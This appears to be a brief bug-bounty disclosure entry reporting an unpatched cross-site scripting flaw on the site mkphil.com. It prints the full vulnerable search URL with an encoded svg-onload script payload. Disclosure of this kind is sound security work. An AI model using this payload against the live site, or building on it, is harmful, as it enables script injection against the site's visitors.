mkphil.com XSS vulnerability

Vulnerable URL: http://mkphil.com/mall/msearch.php?psmode=search=msearch.phpsearch=%22%3Eblub%3Csvg%2Fo%22%3Eblub%3Csvg/onload=alert/OPENBUGBOUNTY/%3E%22%3Eblub%3Csvg/onload=alert/OPENBUGBOUNTY/%3Enload%3Dal Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.08.2017...